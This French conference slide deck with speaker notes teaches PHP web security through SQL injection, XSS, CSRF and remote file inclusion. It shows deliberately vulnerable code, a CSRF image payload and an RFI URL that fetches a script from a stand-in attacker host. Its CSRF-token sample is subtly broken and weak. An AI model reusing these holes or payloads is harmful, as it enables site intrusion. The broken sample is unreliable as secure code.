1. J’ai des trous, des p’tits trous,
encore des p’tits trous...
Sécurité des applications web en PHP - Sébastien Pauchet et Frank Taillandier - 10 octobre 2009 - Paris Web
2. Sébastien Pauchet
seb@automne.ws - @Automne_WS
‣ Responsable technique chez WS interactive
‣ Architecte logiciel du CMS open-source Automne
‣ Ingénieur PHP5 certifié par Zend
‣ 10 ans de développement Web
5. Sécurité : définition
« Les principes de la sécurité d'une application sont un ensemble de
propriétés souhaitables de comportement, de design et de mise en
oeuvre qui contribuent à réduire la probabilité de la réalisation et de
l'impact de menaces. Les principes de sécurité sont indépendants du
langage et de l'architecture et peuvent être un levier dans la plupart
des méthodologies de développement pour concevoir et construire des
applications.
En considérant ces principes nous pouvons prendre des décisions
d'architecture et d'implémentation et identifier les faiblesses possibles
des systèmes. »
Source : OWASP (Open Web Application Security Project)
6. 97% des sites web sont hautement vulnérables
http://www.webappsec.org/projects/statistics/
7. Points essentiels
1. Mettre en place une défense en profondeur (sécurité à tous les niveaux)
2. Minimiser la surface d’attaque
3. Minimiser la portée des erreurs
4. Exécuter avec le minimum de droits
5. Eviter de baser uniquement la sécurité sur un système fermé
6. Garder un système de sécurité simple (KISS)
7. Pouvoir détecter les intrusions (garder une verbosité suffisante des
fichiers journaux)
8. Ne jamais faire confiance à l’infrastructure
9. Ne pas se fier aux utilisateurs
10. Mettre en place une sécurité par défaut psychologiquement acceptable
9. Les 3 phases d’un exploit
Détection
• Recherche d’informations liées aux applications et au système
• Tests automatisés
Les attaques les plus critiques
• Injection SQL : 8% des sites web vulnérables (Source : stats WASC 2007)
• XSS (Cross site scripting) : 31,5% des sites web vulnérables
• CSRF (Cross site request forgery)
• RFI (Remote file inclusion)
Exploitation
• Prendre le contrôle de votre infrastructure (accès au serveur)
• Obtenir vos données
• Modifier vos données
• Vous empêcher de communiquer (DOS : denial of service)
12. Injection SQL
Différents types d’injection : SQL, LDAP, XPath, XSLT,
HTML, XML, commandes systèmes et beaucoup
d’autres.
Définition : Les attaquants dupent l'interpréteur en
lui faisant exécuter des commandes non prévues.
Conséquences : Permettre de créer, lire, modifier ou
effacer les données de l’application.
13. Injection SQL
Exemple
Si la donnée provenant d’un utilisateur est envoyée à un interpréteur sans aucune validation
ou encodage, l’application est vulnérable :
$sql = "SELECT * FROM table WHERE id = '" . $_REQUEST ['id’] . "’";
14. Injection SQL
Solutions
• Validation de toutes les données d’entrée.
• Evitez les messages d’erreurs détaillés.
• Utilisez de préférence des requêtes SQL stockées ou
les requêtes paramètrées.
• N’utilisez pas les fonctions d’échappements simples.
16. XSS : cross-site scripting
Définition : XSS consiste à injecter du code HTML
ou Javascript sur un site.
Conséquences : Détourner des sessions utilisateur,
défigurer des sites web, insérer du contenu hostile,
effectuer des attaques par phishing, et prendre le
contrôle du navigateur de l'utilisateur.
17. XSS : cross-site scripting
Par réflexion : une page renverra à l'utilisateur des
données fournies directement à celui-ci :
echo $_REQUEST ['userinput'];
Par stockage : stocke des donées hostiles, et
ultérieurement, affiche les données non filtrées à l'utilisateur.
Par injection DOM : le code JavaScript et les variables du
site sont manipulés plutôt que les éléments HTML.
18. XSS : cross-site scripting
Solutions
Validation d’entrée : valider la longueur, le type et la syntaxe de toute entrée
saisie avant d'accepter l'affichage ou le stockage des données. Accepter seulement
quelque chose de connu (whitelist). Rejeter toute entrée invalide.
Encodage des données en sortie : Assurez-vous que toutes les données
écrites par l'utilisateur sont convenablement codées par entité avant le rendu.
Pas de blacklist pour détecter XSS. La recherche et le remplacement de juste
quelques caractères ("<" ">" et d'autres caractères ou expressions semblables telles
que "script") est faible. Même un tag non vérifié "<b>" est dangereux dans certains
contextes.
Plus d’exemples sur http://ha.ckers.org/xss.html
20. CSRF : cross-site request forgery
Définition
Forcer le navigateur d'une victime ayant une session ouverte sur une
application web à effectuer une requête sur cette dernière application.
A la différence du XSS qui exploite la confiance d’un utilisateur envers un
site, CSRF exploite la confiance d’un utilisateur envers son navigateur.
Conséquences
Toute application web qui ...
• ne dispose pas de vérifications d'autorisation (confirmation, jeton) avant
d'effectuer des actions,
• autorise des requêtes basées sur une authentification automatique (cookies de
session, ‘Se souvenir de moi’),
... est vulnérable.
21. CSRF : cross-site request forgery
• Bob est l'administrateur d'un forum, il y est connecté par un système de
sessions.
• Alice est un membre, elle veut supprimer un des messages.
Elle n'a pas les droits nécessaires avec son compte.
Elle va utiliser celui de Bob grâce à une attaque de type CSRF.
• Alice arrive à connaître le lien qui permet de supprimer le message.
• Alice envoie à Bob un email contenant une pseudo-image à afficher :
<img src="http://bob.com/delete.php?post=id" />
• Le navigateur de Bob affiche la pseudo-image ce qui actionne le lien.
Ne reconnaissant pas le type d'image associé, le navigateur n'affiche rien.
• Bob ne sait pas qu'Alice vient de lui faire supprimer un message.
22. CSRF : Cross Site Request Forgery
Solution
• Ne pas utiliser de requête HTTP GET pour effectuer des actions.
• Demander des confirmations à l'utilisateur pour les actions critiques.
• Utiliser des jetons de validité dans les formulaires :
<?
$token = sha1(rand(0, 99999));
$token_name = sha1(rand(0, 99999));
$_SESSION['token'] = $token;
$_SESSION['token_name'] = token_name();
?>
<form action="/add_post.php" method="post">
<input type="hidden" name="<?php echo $token_name; ?>"
value="<?php echo $token; ?>" />
<p>Subject: <input type="text" name="post_subject" /></p>
<p>Message: <textarea name="post_message"></textarea></p>
<p><input type="submit" value="Add Post" /></p>
</form>
• Pour les requêtes Ajax : utiliser un header HTTP spécifique à votre
application pour signer la requête.
24. RFI : Remote File Inclusion
Définition : L'inclusion de fichier distant permet d'exécuter son propre code sur
votre serveur en exploitant la possibilité de l'inclure directement dans votre site.
Conséquences : Fournir des données d’entrée (comme des URLs) dans des
fonctions de gestion de fichiers non vérifiées peut conduire :
• à l’exécution de code distant,
• à l’installation de rootkit pour compromettre votre système.
Cette attaque est particulièrement répandue sur PHP, un soin extrême doit être
pris avec tout flux ou toute fonction de fichier afin de s'assurer que l'entrée fournie
par l'utilisateur n'influence pas les noms de fichiers.
25. RFI : Remote File Inclusion
Avant PHP 4.2 (ou allow_url_fopen + register_globals activé) :
include $_SERVER[‘DOCUMENT_ROOT’].’/fichier.php’;
Vulnérable avec l’URL :
http://site.tld/file.php?_SERVER[DOCUMENT_ROOT]=http://hacker.tld/
script.txt?
Toute version de PHP (quelque soit la configuration) :
include $_REQUEST['filename’];
Exemple 1: Utiliser php://input pour lire les données POST
<?php
// L’inclusion suivante va inclure et exécuter toutes
// les données POST
include "php://input";
?>
Exemple 2: Utiliser data: pour inclure du code arbitraire
<?php
// L’inclusion suivante va exécuter le code encodé en
// base64 : Ici, un phpinfo()
include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+";
?>
26. RFI : Remote File Inclusion
Solution
• Filtrer les entrées utilisateurs (whitelist).
• Sécuriser les configurations (désactiver allow_url_fopen, allow_url_include
(PHP 5.2), register_globals).
• Ne pas inclure de fichiers depuis une variable.
• Vérifiez que les fonctions de fichiers et de gestion de flux sont soigneusement
contrôlées. Les données utilisateurs ne doivent pas être utilisées par des
fonctions prenant un fichier en argument.
Exemple, les fonctions suivantes :
include() include_once() require() require_once() fopen()
imagecreatefromXXX() file() file_get_contents() copy() delete()
unlink() upload_tmp_dir() $_FILES move_uploaded_file()
27. Conclusion
Pour les développeurs
• Pensez à la sécurité lors de la conception de vos applications ;
• Adopter les standards de codage ;
• Refactorisez le code existant pour utiliser des conceptions plus sûres ;
• Testez votre code pour identifier tout défaut de sécurité ;
• Consultez les ouvrages de références.
Pour les décideurs
• Employez des développeurs qui ont une réelle ou forte expérience dans la
sécurité ou formez-les !
• Faites tester les défauts de sécurité tout au long du projet : conception,
construction, test et déploiement ;
• Allouez des ressources, du budget et du temps dans le plan projet pour
remédier aux problèmes de sécurité ;
• Considérez l'utilisation d'auditeurs de code tiers.
28. Ressources
• OWASP : Open Web Application Security Project
• Les dix vulnérabilités de sécurité applicatives web les plus critiques 2007
• Adam Barth, Collin Jackson, and John C. Mitchell : Robust defenses for CSRF
• http://ha.ckerz.org : Web Application Security Lab
• http://sectools.org/ : logiciels de test automatisés (Nikto, WebScarab, Acunetix,
WebInspect,)
• http://www.php.net/manual/security
• MISC (Multi-system & Internet Security Cookbook) est un magazine bimestriel
français spécialisé dans la sécurité informatique
29. Crédits photos
• Impact : http://www.flickr.com/photos/dirtyf/3369077142/
• Security Guard : http://www.flickr.com/photos/f1rstborn/2440157127/
• Hi Jacking Hot Spot : Luka Skracic
• Open : http://www.flickr.com/photos/mag3737/1914076277/
• Pirates : http://www.flickr.com/photos/joriel/3230590513/
• Injections : http://www.flickr.com/photos/limowreck666/223731385/
• Bike air : http://www.flickr.com/photos/dirtyf/3518547212/
• Surf fail : http://www.flickr.com/photos/edwindejongh/369296684/
• Remote : http://www.flickr.com/photos/cayusa/2530412232/
Hinweis der Redaktion
\n\n
\n
\n
Questions :\nQui a des notions de s&#xE9;curit&#xE9; ?\nQui d&#xE9;veloppe des sites web c&#xF4;t&#xE9; serveur ?\nQui g&#xE8;re un ou plusieurs sites internet ?\nQui a d&#xE9;j&#xE0; subi des tentatives d&#x2019;attaques ?\nQui a d&#xE9;j&#xE0; eu subi une attaque avec succ&#xE8;s ?\n\nPouvez-vous nous donner votre d&#xE9;finition de la s&#xE9;curit&#xE9; ?\n
The Open Web Application Security Project (OWASP) est une communaut&#xE9; mondiale libre et ouverte dont le but est d&#x2019;am&#xE9;liorer la s&#xE9;curit&#xE9; des applications. Leur mission est de rendre la s&#xE9;curit&#xE9; visible de mani&#xE8;re &#xE0; ce que les developpeurs et les entreprises puissent &#xEA;tre mieux inform&#xE9;s sur les les vrais risques applicatifs li&#xE9;s &#xE0; la s&#xE9;curit&#xE9;. \n\n\n\nTout le monde peut participer &#xE0; l&#x2019;OWASP et tous leurs documents sont publi&#xE9;s sous licence libre.\nL&#x2019;OWASP est une association &#xE0; but non lucratif bien que de nombreuses entreprises sp&#xE9;cialis&#xE9;es dans la s&#xE9;curit&#xE9; ou le logiciel (Microsoft, HP, Nokia, etc.) les soutiennent.\n
Les analyses montrent que 7% des sites web audit&#xE9;s peuvent &#xEA;tre compromis automatiquement. Environ 7.7% des applications avaient des vuln&#xE9;rabilit&#xE9;s hautement critiques d&#xE9;tect&#xE9;es pendant les scans automatis&#xE9;s.\nSi on utilise des m&#xE9;thodes manuelles et des m&#xE9;thodes plus complexes, la probabilit&#xE9; de detecter des vuln&#xE9;rabilit&#xE9;s hautement critiques atteint 96.85%.\n\n
1. Exemple de la banque : sas de s&#xE9;curit&#xE9;, gardes, cam&#xE9;ras, coffre, combinaison, etc.\n2. Plugins (slide de chris)\n2. Une banque avec une seule porte sera plus simple &#xE0; d&#xE9;fendre que si elle en poss&#xE8;de 10 :)\n3. Si vous laissez la porte d&#x2019;entr&#xE9;e ouverte, ce n&#x2019;est pas pour &#xE7;a que le coffre lui est accessible.\n4. La guichetiere n&#x2019;a pas acc&#xE8;s au coffre\n5. Microsoft qui a longtemps repos&#xE9; sa s&#xE9;curit&#xE9; sur la fait que son code &#xE9;tait ferm&#xE9;\n6. Pouvoir r&#xE9;agir vite en cas d&#x2019;attaque. Facile &#xE0; maintenir et &#xE0; faire &#xE9;voluer.\n7. Pas la peine de mettre 70 cam&#xE9;ras mais ne pas non plus se contenter d&#x2019;une seule &#xE0; l&#x2019;entr&#xE9;e.\n8. Aussi &#xE9;pais que soit les murs de la banque, ils peuvent &#xEA;tre perc&#xE9;s.\n9. User is evil ! Votre nouveau guichetier se nomme peut &#xEA;tre J&#xE9;r&#xF4;me Kerviel :)\n10. On ne va pas exiger un toucher rectal &#xE0; tous les clients de la banque, mais on peut contr&#xF4;ler leur carte d&#x2019;identit&#xE9;.\n
Alors c&#x2019;est comment chez vous ? Parce que chez beaucoup c&#x2019;est ouvert 24h/24 !\nAlors quels sont les points essentiels &#xE0; privil&#xE9;gier lors de la conception de vos applications web ?\n
1&#xE8;re phase : conna&#xEE;tre son ennemi (RATM) : White Box testing ou Black box testing (Input/Output) : reverse engineering\n2eme phase : Choisir la mani&#xE8;re dont on va lui &#xAB;mettre sa carotte&#xBB;\n\nSQL Injection : le but est d&#x2019;envoyer des requ&#xEA;tes SQL non permises par d&#xE9;faut\nXSS : faire ex&#xE9;cuter du javascript (ou d&#x2019;autres langages) au site distant via les URLs ou les formulaires\nCSRF : modification d&#x2019;URL qui entraine des actions non pr&#xE9;vues sur le site (tr&#xE8;s vicieux)\nExemple d&#x2019;attaque DOS : mettre MySQL en sleep :)\n\nExemples d&#x2019;exploitation : \nUn cas tr&#xE8;s courant est de transformer votre serveur web en relai de spams : votre domaine peut se retrouver blacklister !\nObtention de donn&#xE9;es confidentielles : r&#xE9;cup&#xE9;rer les num&#xE9;ros de carte bleue de vos clients, les login/passwd + emails (exemple Ev Williams de Twitter - ing&#xE9;nieurie sociale)\n\n\n
Comment elles se passent et comment s&#x2019;en prot&#xE9;ger ?\n\nhttp://www.flickr.com/photos/joriel/3230590513/\n
Test avec un compte root + moulinettes bas&#xE9;es sur des dico\n\n1 mot qui existe dans le dictionnaire peut-&#xEA;tre facilement cass&#xE9; en quelques minutes\n\nSolution : Ajouter un d&#xE9;lai de 5 secondes entre chaque tentative de connexion et verrouiller le compte apr&#xE8;s 10 tentatives infructueuses.\n
\n
Comment se passe l&#x2019;attaque : on teste si les formulaires ou les URLs permettent d&#x2019;injecter du code SQL (un simple string transform&#xE9; en sleep suffit) et si &#xE7;a passe on va chercher &#xE0; effectuer des requ&#xEA;tes pour obtenir des donn&#xE9;es confidentielles (comme votre login, votre email ou votre num&#xE9;ro de CB si c&#x2019;est un site de e-commerce.)\n
\n
Pour PHP, utilisez mysql_real_escape_string() si vous utilisez MySQL, ou utilisez plut&#xF4;t PDO qui ne n&#xE9;cessite pas d&#x2019;&#xE9;chappement.\nne pas utiliser Les fonctions PHP addslashes() ou les fonctions de remplacement de caract&#xE8;res comme str_replace("&#x2019;", "&#x2019;&#x2019;").\n
\n
En 2007 des chercheurs ont estim&#xE9; que 68% des sites web sont ouverts aux attaques XSS\n\nComment se passe l&#x2019;attaque : On recherche des formulaires ou URLs permettant d&#x2019;injecter du code HTML et/ou javascript sur le site, qui impacteront les utilisateurs et/ou les administrateurs.\n\nUsurper l&#x2019;identit&#xE9;, r&#xE9;cup&#xE9;rer des donn&#xE9;es, obtenir des privil&#xE8;ges, envoyer des codes malicieux, rediriger l&#x2019;internaute, \n\nWhere worms of old would do childish things like defacing your site, the new ones are silent and invisible, so you only notice them when they screw up (as this one did) or your site gets removed from Google for having spam and malware on it.\n
\n
\n
\n
\n
\n
http post : poster quelque chose\n
http://www.flickr.com/photos/cayusa/2530412232/\n
\n
Exemple concret sur une application \n
Un code typique vuln&#xE9;rable:\ninclude $_REQUEST['filename&#x2019;];\nNot only does this allow evaluation of remote hostile scripts, it can be used to access local file servers (if PHP is \nhosted upon Windows) due to SMB support in PHP&#x2019;s file system wrappers.\nD&#x2019;autre m&#xE9;thodes d&#x2019;attaques sont possibles via : \n&#xA7; Le chargement de donn&#xE9;es hostiles en fichiers de sessions, fichiers de logs ou via des images (type des lo-\ngiciels de forums)\n&#xA7; L&#x2019;utilisation de flux de compressions ou audios, tels zlib:// ou ogg:// qui n&#x2019;inspectent par la configuration \nde PHP et permettent alors d&#x2019;acc&#xE9;der &#xE0; des ressources distantes m&#xEA;me si la variable allow_url_fopen ou \nallow_url_include est d&#xE9;sactiv&#xE9;e.\n&#xA7; L&#x2019;utilisation de wrappers PHP, tels que des entr&#xE9;es php:// et autre pour passer des donn&#xE9;es en POST plu-\nt&#xF4;t que via un fichier.\nL&#x2019;utilisation de wrappers PHP, comme data:;base64,PD9waHAgcGhwaW5mbygpOz8+\n